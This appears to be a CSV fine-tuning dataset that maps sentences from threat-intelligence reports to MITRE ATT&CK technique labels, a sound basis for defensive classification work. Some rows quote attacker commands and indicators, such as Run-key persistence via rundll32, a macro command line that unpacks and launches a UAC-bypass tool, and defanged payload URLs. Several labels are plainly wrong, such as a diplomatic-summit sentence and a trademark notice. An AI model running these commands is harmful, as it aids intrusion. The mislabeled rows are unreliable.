uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"uses rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
uses rundll32.exe to load its DLL.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
uses Rundll32 for executing the dropper program.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
uses rundll32 to call an exported function.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
uses Rundll32 to ensure only a single instance of itself is running at once.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
uses Rundll32 to load a malicious DLL.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
uses rundll32 within  entries to execute malicious DLLs.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
uses run keys for persistence on Windows,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"uses scheduled tasks typically named ""Watchmon Service"" for persistence.",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
uses scripts to enumerate IP ranges on the victim network.  has also issued the command net view /domain to a  implant to gather information about remote systems on the network.,['T1018 - Remote System Discovery'],fine_tune
uses search order hijacking of the Windows executable sysprep.exe to escalate privileges.,['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"uses services.exe to register a new autostart service named ""Audit Service"" using a copy of the local lsass.exe file.","['T1569.002 - System Services: Service Execution', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
uses single-byte XOR obfuscation to obfuscate many of its files.,['T1027 - Obfuscated Files or Information'],fine_tune
uses SSL/TLS and RC4 to encrypt traffic.,['T1573 - Encrypted Channel'],fine_tune
uses SSL to encrypt its communication with its C2 server.,['T1071 - Application Layer Protocol'],fine_tune
"uses steganography to hide backdoors in PNG files, which are also encrypted using the Tiny Encryption Algorithm (TEA).",['T1027 - Obfuscated Files or Information'],fine_tune
uses svchost.exe to execute a malicious DLL included in a new service group.,['T1569.002 - System Services: Service Execution'],fine_tune
uses systeminfo on a victim’s machine.,['T1082 - System Information Discovery'],fine_tune
uses tasklist /v to check running processes.,['T1057 - Process Discovery'],fine_tune
uses the API call ShellExecuteW for execution.,['T1106 - Native API'],fine_tune
uses the Camellia cipher to encrypt communications.,['T1573 - Encrypted Channel'],fine_tune
uses the certutil command to decode a payload file.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
uses the command line.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses the command line and rundll32.exe to execute.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses the command-line interface.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses the command-line interface to execute arbitrary commands.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses the command prompt to execute commands on the victim's machine.,['T1059 - Command and Scripting Interpreter'],fine_tune
uses the command reg query “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\InternetSettings”.,['T1012 - Query Registry'],fine_tune
uses the Confuser protector to obfuscate an embedded .Net Framework assembly used for C2.  also encodes collected data in hexadecimal format before writing to files on disk and obfuscates strings.,['T1027 - Obfuscated Files or Information'],fine_tune
"uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the  malware.",['T1105 - Ingress Tool Transfer'],fine_tune
uses the Dropbox cloud storage service for command and control.,['T1102 - Web Service'],fine_tune
"uses the email platform, Naver, for C2 communications, leveraging SMTP.",['T1071 - Application Layer Protocol'],fine_tune
"uses the filename owaauth.dll, which is a legitimate file that normally resides in %ProgramFiles%\Microsoft\Exchange Server\ClientAccess\Owa\Auth\; the malicious file by the same name is saved in %ProgramFiles%\Microsoft\Exchange Server\ClientAccess\Owa\bin\.",['T1036 - Masquerading'],fine_tune
uses the Invoke-Obfuscation framework to obfuscate their PowerShell and also performs other code obfuscation.,['T1027 - Obfuscated Files or Information'],fine_tune
uses the ipconfig /all command to gather the victim’s IP address.,['T1016 - System Network Configuration Discovery'],fine_tune
uses the ipconfig command.,['T1016 - System Network Configuration Discovery'],fine_tune
uses the keychaindump project to read securityd memory.,['T1555.002 - Securityd Memory'],fine_tune
uses the Microsoft  utility to list processes running on systems.,['T1057 - Process Discovery'],fine_tune
uses the native Windows Network Enumeration APIs to interrogate and discover targets in a Windows Active Directory network.,['T1018 - Remote System Discovery'],fine_tune
uses the net user command.,['T1087 - Account Discovery'],fine_tune
uses the Skype API to record audio and video calls. It writes encrypted data to %APPDATA%\Intel\Skype.,"['T1123 - Audio Capture', 'T1125 - Video Capture']",fine_tune
uses the tasklist to view running processes on the victim’s machine.,['T1057 - Process Discovery'],fine_tune
"uses the Windows API call, CreateProcessW(), to manage execution flow.",['T1106 - Native API'],fine_tune
uses  to clean up the environment and attempt to prevent detection.,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
uses  to execute a payload or commands on a remote host.,['T1569.002 - System Services: Service Execution'],fine_tune
uses  to inject shellcode into PowerShell.,['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
uses Twitter as a backup C2 method. It also has a module designed to post messages to the Russian VKontakte social media site.,['T1102 - Web Service'],fine_tune
uses variations of a simple XOR encryption routine for C&C communications.,['T1573 - Encrypted Channel'],fine_tune
uses various WMI queries to check if the sample is running in a sandbox.,['T1047 - Windows Management Instrumentation'],fine_tune
uses VBScripts and batch scripts.,['T1064 - Scripting'],fine_tune
uses VNC to connect into systems.,['T1021 - Remote Services'],fine_tune
uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page.,['T1185 - Browser Session Hijacking'],fine_tune
uses Web shells on publicly accessible Web servers to access victim networks.,['T1505.003 - Server Software Component: Web Shell'],fine_tune
uses WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details.,"['T1047 - Windows Management Instrumentation', 'T1518.001 - Software Discovery: Security Software Discovery']",fine_tune
uses WMI to check for anti-virus software installed on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
uses WMI to perform discovery techniques.,['T1047 - Windows Management Instrumentation'],fine_tune
uses XOR with random keys for its communications.,['T1573 - Encrypted Channel'],fine_tune
"uses ZPP, a .NET console program, to compress files with ZIP.",['T1560 - Archive Collected Data'],fine_tune
variants can add malicious DLL modules as new services.,['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
"variants can use ports 443, 8443, and 8080 for communications.",['T1043 - Commonly Used Port'],fine_tune
"variants have attempted to appear legitimate by using the file names SafeApp.exe and NeutralApp.exe, as well as by adding a new service named OfficeUpdateService.",['T1036 - Masquerading'],fine_tune
variants have communicated with C2 servers over HTTP and HTTPS.,['T1071 - Application Layer Protocol'],fine_tune
"Variants of  achieve persistence by using DLL search order hijacking, usually by copying the DLL file to %SYSTEMROOT% (C:\WINDOWS\ntshrui.dll).",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"Variants of  encrypt payloads using various XOR ciphers, as well as a custom algorithm that uses the ""srand"" and ""rand"" functions.",['T1027 - Obfuscated Files or Information'],fine_tune
Variants of  have added Run Registry keys to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
Variants of  have used rundll32.exe in Registry values added to establish persistence.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
variants reported on in 2014 and 2015 used a simple XOR cipher for C2.,['T1573 - Encrypted Channel'],fine_tune
"Various implementations of  communicate with C2 over HTTP, SMTP, and POP3.",['T1071 - Application Layer Protocol'],fine_tune
Various  malware enumerates logged-on users.,['T1033 - System Owner/User Discovery'],fine_tune
version of  adds a registry key to HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"versions are signed with various valid certificates; one was likely faked and issued by Comodo for ""Solid Loop Ltd,"" and another was issued for ""Ultimate Computer Support Ltd.""",['T1553.002 - Code Signing'],fine_tune
"was added to a legitimate, signed version 5.33 of the CCleaner software and distributed on CCleaner's distribution site.",['T1195 - Supply Chain Compromise'],fine_tune
was distributed through a compromised update to a Tor client with a coin miner payload.,['T1195 - Supply Chain Compromise'],fine_tune
"was distributed through torrent file-sharing websites to South Korean victims, using a YouTube video downloader application as a lure.",['T1189 - Drive-by Compromise'],fine_tune
was likely obfuscated using Invoke-Obfuscation.,['T1027 - Obfuscated Files or Information'],fine_tune
"When a document is found matching one of the extensions in the configuration,  uploads it to the C2 server.",['T1020 - Automated Exfiltration'],fine_tune
"When it first starts,  crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.",['T1005 - Data from Local System'],fine_tune
"When it first starts,  crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.",['T1039 - Data from Network Shared Drive'],fine_tune
"will attempt to detect if the infected host is configured to a proxy. If so,  will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.",['T1008 - Fallback Channels'],fine_tune
"will attempt to detect if the infected host is configured to a proxy. If so,  will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.  will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2. Adversaries can also use  to establish an RDP connection with a controller over TCP/7519.",['T1071 - Application Layer Protocol'],fine_tune
will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"will decrypt resources it downloads with HTTP requests by using RC4 with the key ""ScoutEagle.""",['T1573 - Encrypted Channel'],fine_tune
will identify Microsoft Office documents on the victim's computer.,['T1005 - Data from Local System'],fine_tune
will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).,['T1055 - Process Injection'],fine_tune
"will sleep until after a date/time value loaded from a .dat file has passed. This allows the RAT to remain dormant until a set date, which could allow a means to regain access if other parts of the actors' toolset are removed from a victim.",['T1108 - Redundant Access'],fine_tune
will timestomp any files or payloads placed on a target machine to help them blend in.,['T1070.006 - Indicator Removal on Host: Timestomp'],fine_tune
will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS instead if the DES decoding fails.,['T1573 - Encrypted Channel'],fine_tune
writes data into the Registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Pniumj.,['T1112 - Modify Registry'],fine_tune
writes multiple outputs to a TMP file using the >> method.,['T1074 - Data Staged'],fine_tune
zips up files before exfiltrating them.,['T1560 - Archive Collected Data'],fine_tune
’s installer is obfuscated with a custom crypter to obfuscate the installer.,['T1027 - Obfuscated Files or Information'],fine_tune
’s Java payload is encrypted with AES.,['T1027 - Obfuscated Files or Information'],fine_tune
’s LSADUMP::DCShadow module can be used to make AD updates by temporarily setting a computer to be a DC.,['T1207 - Rogue Domain Controller'],fine_tune
"’s LSADUMP::DCSync, KERBEROS::Golden, and KERBEROS::PTT modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets.",['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
"From these reports, we know that the group uses an abundance of tools and tactics, ranging across zero-day exploits targeting common applications such as Java or Microsoft Office, heavy use of spear-phishing attacks, compromising legitimate websites to stage watering-hole attacks, and targeting over a variety of operating systems – Windows, OSX, Linux, even mobile iOS",['T1189 - Drive-by Compromise'],fine_tune
"We believe this access was abused, for example, by inserting malicious scripts in the country’s official websites in order to conduct watering hole attacks",['T1189 - Drive-by Compromise'],fine_tune
"This targeting of third party organizations to attack further targets is a risky move on the attackers’ part, as it potentially reveals their activity within the compromised third party organizations to the new target (those receiving the malicious documents  Making sense of MuddyWater When we looked at the cluster of activity which consisted of what appeared to be espionage-focused attacks in the Middle East, we were somewhat confused as the previous public reporting had attributed these attacks to FIN7",['T1189 - Drive-by Compromise'],fine_tune
Online news outlets and general websites were breached and weaponized as a vehicle for watering hole attacks,['T1189 - Drive-by Compromise'],fine_tune
"The payload delivered in these November 2017 attacks using DDE enabled documents was SofacyCarberp, which differs from the Zebrocy downloader delivered in the February 2018 attacks",['T1189 - Drive-by Compromise'],fine_tune
"Like many threat groups, TG-3390 conducts strategic web compromises (SWCs), also known as watering hole attacks, on websites associated with the target organization's vertical or demographic to increase the likelihood of finding victims with relevant information",['T1189 - Drive-by Compromise'],fine_tune
"Threat actors compromise a website used by their target demographic (e.g., compromising a website specializing in oil and gas industry news when targeting the energy vertical)",['T1189 - Drive-by Compromise'],fine_tune
"The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell",['T1059 - Command and Scripting Interpreter'],fine_tune
"This indicates that a human operative was executing commands on a command line style interface, rather than an automated or GUI process",['T1059 - Command and Scripting Interpreter'],fine_tune
"Although MURKYTOP is primarily a command-line reconnaissance tool, it can also be used for lateral movement",['T1059 - Command and Scripting Interpreter'],fine_tune
"After decryption, these 34 commands are plain text with parameters that are space delimited much like a command line",['T1059 - Command and Scripting Interpreter'],fine_tune
"The command and parameter names are hashed before being compared by the binary, making it difficult to recover the original names of commands and parameters",['T1059 - Command and Scripting Interpreter'],fine_tune
These commands are also executed when the loadconfig command is issued,['T1059 - Command and Scripting Interpreter'],fine_tune
"The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it",['T1059 - Command and Scripting Interpreter'],fine_tune
Glimpse’s Agent Control Panel showing the interface actors would use to send commands The actor clicks the command to view the results in a popup window named “Result Viewer”,['T1059 - Command and Scripting Interpreter'],fine_tune
This script relays commands and output between the controller and the system,['T1059 - Command and Scripting Interpreter'],fine_tune
"RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool",['T1059 - Command and Scripting Interpreter'],fine_tune
These are in-line with the targeting of the victims witnessed by the attackers using Conmie,['T1059 - Command and Scripting Interpreter'],fine_tune
Intrusions and campaigns conducted by this group are in-line with PRC goals and self-interest in Taiwan,['T1059 - Command and Scripting Interpreter'],fine_tune
Figure 3: ALFA TEaM Shell v2-Fake Mail (Default) Figure 4 shows an example email containing the default values the shell,['T1059 - Command and Scripting Interpreter'],fine_tune
Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands,['T1059 - Command and Scripting Interpreter'],fine_tune
"Though this is unsophisticated, a remote shell does provide a highly flexible and powerful means of remote access in the hands of a skilled attacker",['T1059 - Command and Scripting Interpreter'],fine_tune
!CMD  Trojan executes a command prompt command,['T1059 - Command and Scripting Interpreter'],fine_tune
The Trojan will save the output of the command to %TEMP%\win<random number>.txt and send the contents to the C2 server or “The length of Cmd result file is ziro!” if the command was unsuccessful,['T1059 - Command and Scripting Interpreter'],fine_tune
The Visual Basic macro uses the following command line:  cmd /c expand %TEMP%\setup.cab -F:* %TEMP% && cd /d %TEMP% && del /f /q setup.cab && uacme.exe  The control server credential information contained in the CAB files is different:   Decoded credential data contained in another ipnet.ini,['T1059 - Command and Scripting Interpreter'],fine_tune
Remote Shell:  The function above is seen throughout many of the binaries in the Mirage family and is executed when a command is sent from the C&C,['T1059 - Command and Scripting Interpreter'],fine_tune
"It is responsible for executing commands in cmd.exe (later down in the functions, not seen in the screenshot, it looks for cmd.exe and executes it using CreateProcessA)",['T1059 - Command and Scripting Interpreter'],fine_tune
This ID is sent to the CnC with each request for commands to execute,['T1059 - Command and Scripting Interpreter'],fine_tune
"Supported commands “upload“, “screenshot“, “Excel“, “Outlook“, “risk“, “reboot“, “shutdown“, “clean“",['T1059 - Command and Scripting Interpreter'],fine_tune
"Both create one thread, and each thread is responsible for either downloading and executing the file or running a command line program in the terminal:   Figure 28. Commands used for downloading and executing, and running a command in terminal   Figure 29. Commands used in uploading and downloading file Figure 30",['T1059 - Command and Scripting Interpreter'],fine_tune
"cmd.exe /C choice /C Y /N /D Y /T 2 & Del After sleeping, the Trojan will create a GUID and write it to %APPDATA%\Windows\GDI.bin",['T1059 - Command and Scripting Interpreter'],fine_tune
"Otherwise, the Trojan will attempt to parse the response for a command, specifically by splitting the decode response on <> and treating the text to the left of the <> string as the command the text to the right as the command arguments",['T1059 - Command and Scripting Interpreter'],fine_tune
"The malware basically provides a remote CMD/PowerShell terminal for the attackers, enabling them to execute scripts/commands and receive the results via HTTP requests",['T1059 - Command and Scripting Interpreter'],fine_tune
Execute noninteractive commands on multiple hosts at once,['T1059 - Command and Scripting Interpreter'],fine_tune
Open interactive python shells with auto-completion on the all-in-memory remote python interpreter,['T1059 - Command and Scripting Interpreter'],fine_tune
Remote shells on Unix & Windows clients have a real tty with all keyboard signals working just like an SSH shell,['T1059 - Command and Scripting Interpreter'],fine_tune
Figure 1: SpeakUp’s Victim Distribution  Figure 2: SpeakUp’s propagation rate per day Infection Vector The initial infection vector is targeting the recently reported vulnerability in ThinkPHP and uses command injection techniques for uploading a PHP shell that serves and executes a Perl backdoor,['T1059 - Command and Scripting Interpreter'],fine_tune
"Figure 6: SpeakUp receives additional commands to execute, this time in plain text",['T1059 - Command and Scripting Interpreter'],fine_tune
Command execution Command execution can create havoc for victim if the malware developer decides to execute commands in the victim’s device,['T1059 - Command and Scripting Interpreter'],fine_tune
MURKYTOP: a command-line reconnaissance tool,['T1059 - Command and Scripting Interpreter'],fine_tune
"The summit is the latest in a line of signs of diplomatic outreach from North Korea, following the Panmunjom Declaration for Peace, Prosperity and Unification of the Korean Peninsula between South Korea and North Korea on April 27, 2018",['T1059 - Command and Scripting Interpreter'],fine_tune
The starred commands are undocumented commands,['T1059 - Command and Scripting Interpreter'],fine_tune
"Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell",['T1059 - Command and Scripting Interpreter'],fine_tune
UserInstall.exe will abuse the BITSadmin command-line tool to create a job and launch sidebar.exe,['T1059 - Command and Scripting Interpreter'],fine_tune
This parameter transmits the agent_id to the C2 server to obtain commands the actor wishes to execute on the compromised system,['T1059 - Command and Scripting Interpreter'],fine_tune
Figure 2: Sofacy Fysbis capability related leakage through strings Figure 2 shows interactive status / feedback strings that can give a defender an initial profile of capabilities,['T1027 - Obfuscated Files or Information'],fine_tune
"For comparison, if we were to inspect Fysbis “RemoteShell” associated strings in one of the stripped variants, we would only see the following:  Figure 3: Sofacy Fysbis stripped binary string references to RemoteShell capability Compare this with what is available from the non-stripped variant:  Figure 4: Sofacy Fysbis non-stripped binary strings referenes to RemoteShell capability Little static analysis gifts like these can help to speed defender enumeration of capabilities and – more importantly – further contribute to correlation and detection across related samples",['T1027 - Obfuscated Files or Information'],fine_tune
"That malicious dll then loads encrypted shellcode from the binary, which is decrypted and runs the final BUGJUICE payload",['T1027 - Obfuscated Files or Information'],fine_tune
Messages are encrypted using AES with a static key,['T1027 - Obfuscated Files or Information'],fine_tune
Evidence also supports the hypothesis that there is a encryption plugin for victim files (see below),['T1027 - Obfuscated Files or Information'],fine_tune
"Destructive dstr command in BE2 config file Also, on some machines, documents were encrypted, but no related plugin could be found",['T1027 - Obfuscated Files or Information'],fine_tune
It is prepended to the encrypted and encoded message,['T1027 - Obfuscated Files or Information'],fine_tune
The headers are XOR encrypted with <hdrXORKey1> and <hdrXORKey2> combined and reversed,['T1027 - Obfuscated Files or Information'],fine_tune
Build Tool Most of CARBANAK’s strings are encrypted in order to make analysis more difficult,['T1027 - Obfuscated Files or Information'],fine_tune
Tool Type Internal Name Industry Name   Backdoor Poison Frog BONDUPDATER   Backdoor Glimpse Updated BONDUPDATER   Webshell HyperShell TwoFace loader   Webshell HighShell TwoFace payload   Webshell Minion TwoFace payload variant   DNS Hijacking Toolkit webmask Related to DNSpionage     Table 1,['T1027 - Obfuscated Files or Information'],fine_tune
"The HyperShell and HighShell webshells are variants of what we track as TwoFace, with HyperShell being related to the TwoFace loader and HighShell being related to the TwoFace payload, as we reported in July 2017",['T1027 - Obfuscated Files or Information'],fine_tune
Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victim’s data,['T1027 - Obfuscated Files or Information'],fine_tune
Configuration Config.ini is the file where the malware stores its encrypted configuration data,['T1027 - Obfuscated Files or Information'],fine_tune
"While performing the analysis on the delivery documents using the .sct file AppLocker bypass, we noticed the C# payload was functionally similar to the original RogueRobin payload",['T1027 - Obfuscated Files or Information'],fine_tune
"Figure 3 Targeted lure content In one of the documents, the victim is presented with what appears to be an obfuscated document with the NATO EOD seal and text alluding to the targeted nation state",['T1027 - Obfuscated Files or Information'],fine_tune
WindowsDefender.ini – The Base64 encoded and obfuscated PowerShell script,['T1027 - Obfuscated Files or Information'],fine_tune
"Figure 3: The first step of decryption will perform XOR on one byte using the previous adjacent byte, starting from the last byte and excluding the first byte  Figure 4: The second step uses RC4, using the first 0x20 bytes from the result of the first step as the RC4 key  Figure 5: Encrypted (Top) and decrypted (bottom) configuration file It is also important to note that while the loader component and the configuration file are located in the same directory (%windows%\system32), the encrypted backdoor is located in a different directory (%Program Files%\Common Files\System\ado)",['T1027 - Obfuscated Files or Information'],fine_tune
All strings used by the Trojan are encrypted with the XOR algorithm,['T1027 - Obfuscated Files or Information'],fine_tune
"Next, the buffer is encrypted using the RC4 algorithm with the 50-byte key (also stored in the backdoor’s body)",['T1027 - Obfuscated Files or Information'],fine_tune
"11 bytes of this buffer are encrypted with the XOR algorithm as follows: i = 0 while ( 1 ) {   crypted_buffer = (_BYTE *)this_->crypted_buffer;   if ( i gt;= this-gt;crypted_buffer_size - 4 ) // this-gt;crypted_buffer_size == 15     break;   ++i;   crypted_buffer[i + 4] ^= crypted_buffer[i & 3];  The generated buffer in encoded using the BASE64 alphabet, where the last two characters are replaced with “-” and “_”",['T1027 - Obfuscated Files or Information'],fine_tune
"Next, to the beginning of the BASE64 string a random BASE64 string with the length of 5 characters is added",['T1027 - Obfuscated Files or Information'],fine_tune
The first 11 bytes of the received buffer are encrypted with the XOR algorithm,['T1027 - Obfuscated Files or Information'],fine_tune
"Once it is encrypted using the XOR algorithm, the buffer is encoded with BASE64",['T1027 - Obfuscated Files or Information'],fine_tune
These redirects were implemented by adding two malicious scripts obfuscated by a tool similar to the Dean Edwards packer,['T1027 - Obfuscated Files or Information'],fine_tune
Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES,['T1027 - Obfuscated Files or Information'],fine_tune
"Although the activity was previously linked by others to the FIN7 threat actor group, our research suggests the activity is in fact espionage related and unlikely to be FIN7 related",['T1027 - Obfuscated Files or Information'],fine_tune
"Specifically, the following GitHub repositories appear to be controlled by the MuddyWater threat actor(s):  [unknown SHA256]  Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/ArabicBrowserFont.exe   [unknown SHA256]  Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/FontArabic.exe     9b5e36bb7518a9e333c31d09b589102f89e3425571dd434820ab3c437dc4e0d9 (and several others)  Downloads payload from: hxxps://raw.githubusercontent[.]com/ReactDeveloper2017/react/master/src/test/test.js    Interestingly, both profiles were populated with forked repositories to give them an air of legitimacy as shown in figure 2",['T1027 - Obfuscated Files or Information'],fine_tune
The domain names differed but the script adheres to the same logic (including the logic function).” The DNSMessenger malware is an obfuscated and customized version of the popular DNS_TXT_PWNAGE.ps1 script available on GitHub and is also referred to by FireEye as POWERSOURCE,['T1027 - Obfuscated Files or Information'],fine_tune
Malicious obfuscated VBA code is executed when the macro is first enabled,['T1027 - Obfuscated Files or Information'],fine_tune
"In our analysis, the macro is obfuscated, character by character, using the decimal ASCII code",['T1027 - Obfuscated Files or Information'],fine_tune
"There are two forms of encrypted strings: an RSA256-encrypted string, and custom base64-encoded and RSA256-encrypted string",['T1027 - Obfuscated Files or Information'],fine_tune
"At face value, this current variant of OopsIE has a vast majority of its strings obfuscated, which can be deobfuscated by splitting the strings using the hyphen as a delimiter, treating each split value as an integer, subtracting one from each integer and converting each into a character",['T1027 - Obfuscated Files or Information'],fine_tune
This tool was originally intended to aid defenders in simulating obfuscated PowerShell commands to better their defenses,['T1027 - Obfuscated Files or Information'],fine_tune
"Invoke-Obfuscation calls the variable obfuscation technique used by the actors to obfuscate this script Random Case + {} + Ticks, which changes all variables in the script to have randomly cased characters, to be surrounded in curly braces and to include the tick (`) character, which is ignored in by PowerShell",['T1027 - Obfuscated Files or Information'],fine_tune
"By applying two specific obfuscation techniques within Invoke-Obfuscation, we were able to create an obfuscated PowerShell script that was very similar to the QUADAGENT payloads delivered in the attacks discussed in this blog",['T1027 - Obfuscated Files or Information'],fine_tune
All the strings and settings were encrypted and obfuscated,['T1027 - Obfuscated Files or Information'],fine_tune
The configuration and strings are encrypted using 3DES and Base64 encoding,['T1027 - Obfuscated Files or Information'],fine_tune
The shellcode is not encrypted but is obfuscated,['T1027 - Obfuscated Files or Information'],fine_tune
"Decrypting the Configuration As previously mentioned, the real configuration data is stored in the first stage shellcode but it is not stored in cleartext, but encrypted and compressed",['T1027 - Obfuscated Files or Information'],fine_tune
The configuration data is encrypted with the same algorithm described previously by JPCert but using a different XOR value,['T1027 - Obfuscated Files or Information'],fine_tune
The configuration blob is encoded using a simple single-byte XOR scheme,['T1027 - Obfuscated Files or Information'],fine_tune
"KopiLuwak In November 2016, Kaspersky Lab observed a new round of weaponized macro documents that dropped a new, heavily obfuscated Javascript payload that we named KopiLuwak (one of the rarest and most expensive types of coffee in the world)",['T1027 - Obfuscated Files or Information'],fine_tune
"Figure 3: no detections for SpeakUp in Virus Total In an attempt to endure the investigation process by security researchers, the second stage payload was encoded with salted base64",['T1027 - Obfuscated Files or Information'],fine_tune
Some strings are obfuscated with XOR x56,['T1027 - Obfuscated Files or Information'],fine_tune
These files are stored within an 217kb encrypted cab file in the dropper’s resources under the name “A”,['T1027 - Obfuscated Files or Information'],fine_tune
The cab file was encrypted and decrypted using a simple xor cipher with a rotating 16 byte key: \x36\x11\xdd\x08\xac\x4b\x72\xf8\x51\x04\x68\x2e\x3e\x38\x64\x32,['T1027 - Obfuscated Files or Information'],fine_tune
"This is encrypted by RC4, using the key {0xb5, 0x78, 0x62, 0x52, 0x98, 0x3e, 0x24, 0xd7, 0x3b, 0xc6, 0xee, 0x7c, 0xb9, 0xed, 0x91, 0x62}",['T1027 - Obfuscated Files or Information'],fine_tune
We’ve identified two such files: settings.db sdfg3d.db Here’s how such a database file appears:  These are BASE64 encoded and use the same RC4 encryption key as the malware configuration,['T1027 - Obfuscated Files or Information'],fine_tune
"The CARROTBAT malware family is a somewhat unique dropper and while it supports various types of decoy documents, and employs rudimentary command obfuscation, it should be made clear that it is not sophisticated",['T1027 - Obfuscated Files or Information'],fine_tune
HttpBrowser's executable code may be obfuscated through structured exception handling and return-oriented programming,['T1027 - Obfuscated Files or Information'],fine_tune
"All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks",['T1027 - Obfuscated Files or Information'],fine_tune
Figure 7: The same de-obfuscated code as Figure 2 The only other script content of the blog-page[.]html is an empty script section,['T1027 - Obfuscated Files or Information'],fine_tune
"PlayList.vbs contains the obfuscated codes, which it executes after decrypting the obfuscations.",['T1027 - Obfuscated Files or Information'],fine_tune
"Once executed, Vcrodat loads an encrypted payload on to the victim’s computer.",['T1027 - Obfuscated Files or Information'],fine_tune
The JavaScript is heavily obfuscated. The first variable—a—is an array of obfuscated values,['T1027 - Obfuscated Files or Information'],fine_tune
This shellcode is decrypted in memory through EQENDT32.EXE,['T1027 - Obfuscated Files or Information'],fine_tune
The encrypted file contains a config file of 0x78 bytes. The data is decrypted with an 0xD9 XOR operation.,['T1027 - Obfuscated Files or Information'],fine_tune
"The actors have made some small changes, such as altering the variable names to avoid Yara detection",['T1027 - Obfuscated Files or Information'],fine_tune
"To operate and evade standard analysis tools, most of the functions are hashed",['T1027 - Obfuscated Files or Information'],fine_tune
The encryption/decryption routine (refer to Figure 5) can be summarized as follows:      Figure 5: Encryption/ Decryption Function  Generate an array of integers from 0x00 to 0xff Scrambles the state of the table using the given key Encrypts or decrypts a string using the scrambled table from (b),['T1573 - Encrypted Channel'],fine_tune
"Version 2 Rather than using the host ID as the key, this version uses a random XOR key between 32 and 64 bytes in length that is generated for each session",['T1573 - Encrypted Channel'],fine_tune
"A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code",['T1573 - Encrypted Channel'],fine_tune
"After applying this decryption algorithm, we are presented with the following data: h=HOSTNAME-PC&f=mission.ini&c=& The response made by the C2 server uses the same RC4 key for encryption",['T1573 - Encrypted Channel'],fine_tune
"The BONDUPDATER script, which was named based on the hard-coded string “B007”, uses a custom DGA algorithm to generate subdomains for communication with the C2 server",['T1573 - Encrypted Channel'],fine_tune
"Figure 9: Example Network Communication In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response",['T1573 - Encrypted Channel'],fine_tune
The structure of each of these outbound DNS requests is as follows: <system ID>-<job ID>-<offset in data><more data flag>-<random length of base64 encoded data between 30 and 42 characters>.<c2 domain> The payload will look for different responses to these outbound queries depending on the type of DNS request that the payload uses to communicate with the C2,['T1573 - Encrypted Channel'],fine_tune
"The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie",['T1573 - Encrypted Channel'],fine_tune
"<encoded system data>.<same random number between 100000 and 999999 above>.<c2 name>   After obtaining a session ID and pre-shared key, the PowerShell script will continue to communicate with its C2 server to obtain data to treat as a command",['T1573 - Encrypted Channel'],fine_tune
